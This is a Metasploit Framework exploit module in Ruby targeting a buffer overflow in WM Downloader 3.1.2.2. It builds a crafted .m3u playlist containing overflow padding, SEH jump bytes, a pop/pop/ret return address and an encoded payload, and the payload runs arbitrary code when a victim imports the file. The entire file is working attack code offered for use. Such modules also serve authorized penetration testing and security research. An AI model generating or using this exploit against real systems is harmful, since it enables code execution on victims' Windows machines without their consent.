##
# $Id: wm_downloader_m3u.rb 10998 2010-11-11 22:43:22Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'WM Downloader 3.1.2.2 Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in WM Downloader v3.1.2.2. When
the application is used to import a specially crafted m3u file, a buffer overflow occurs
allowing arbitrary code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'fdisk', # Original Exploit
'dookie' # MSF Module
],
'Version' => '$Revision: 10998 $',
'References' =>
[
[ 'OSVDB', '66911'],
[ 'URL', 'http://www.exploit-db.com/exploits/14497/' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x09\x0a",
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal', { 'Ret' => 0x1001060C, 'Offset' => 43480 } ], # p/p/r in WDfilter03.dll
],
'Privileged' => false,
'DisclosureDate' => 'Jul 28 2010',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
], self.class)
end
def exploit
sploit = rand_text_alpha_upper(43480) # Offset for WinXP
sploit << "\xeb\x20\x90\x90" # Jump to the nops after the 2nd offset
sploit << [target.ret].pack('V') # Offset
sploit << rand_text_alpha_upper(16) # Pad to reach the Win7 Offset
sploit << "\xeb\x0C\x90\x90" # Jump over the cruft
sploit << [target.ret].pack('V') # Offset
sploit << "\x90" * 8
sploit << payload.encoded
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(sploit)
end
end